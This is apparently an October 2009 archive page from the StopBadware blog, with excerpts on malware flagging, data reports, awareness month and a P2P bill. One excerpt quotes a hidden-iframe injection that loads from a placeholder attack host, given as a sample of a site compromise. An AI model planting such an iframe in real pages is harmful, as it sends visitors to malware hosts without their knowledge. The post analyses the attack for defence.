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Monthly Archives: October 2009
Prominent Chinese site flagged for badware
It was reported today that a website of the official newspaper of the Chinese government, The People’s Daily, was flagged for malware by Google. The paper apparently complained that Google was maliciously flagging the site due to the paper’s criticism … Continue reading
Tagged china, google, stopbadware
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More on .NL attacks
Last week I wrote about a new string of attacks we noticed pointing to servers in the Netherlands. Over the weekend I found some public sources which show a more complete list of the attack sites which share the list … Continue reading
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A light diversion
Security firm Comodo offers this self-promoting but rather humorous spoof of the cable TV show Intervention. In this case, the addict is a laptop that is addicted to malware. (Also available here.)
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New StopBadware data reports
We are pleased to unveil two new data reports, based on the data provided by Google and Sunbelt Software to our Badware Website Clearinghouse and information that we’ve pulled from Team Cymru’s public IP to ASN mapping service. One report … Continue reading
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Google offers webmasters more malware details
Google’s Webmaster Tools has, for quite some time, provided verified website owners with a partial list of pages from their site in which Google found badware during their scanning. Unfortunately, it was often frustrating to site owners to know that … Continue reading
Tagged google, webmasters
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Obama administration supports cyber security month
President Obama recorded the following video (also available here) promoting National Cyber Security Awareness Month and reminding all Americans of our shared responsibility to keep the ‘net safe. In addition, Janet Napolitano, Secretary of Homeland Security, will be delivering a … Continue reading
Tagged cybersecurity, government, ncsam, obama
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Interesting attacks from .NL addresses
I’m researching some new attacks that have been popping up on the BadwareBusters forum recently. Attacks have the form: <div style="display:none">mhukhzwbanqawsrlyqptqnfmpiiigkr<iframe width=548 height=403 src="http:ATTACK.SITE:8080/index.php"></iframe></div> After reviewing the posts by our users I compiled the following list of attack … Continue reading
Proposed bill pushes informed consent for P2P sharing
As reported by Ars Technica and others, Rep. Henry Waxman (D-WA) and the rest of the House Energy & Commerce Committee are pushing a bill that requires peer-to-peer (P2P) file sharing applications to provide informed consent before installation and before … Continue reading
Tagged ftc, legislation, p2p, policy
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It’s National Cyber Security Awareness Month!
Today marks the start of National Cyber Security Awareness Month here in the U.S. Organized by our friends at the National Cyber Security Alliance, NCSAM is a reminder to all of us, individuals and organizations alike, of our shared responsibility … Continue reading
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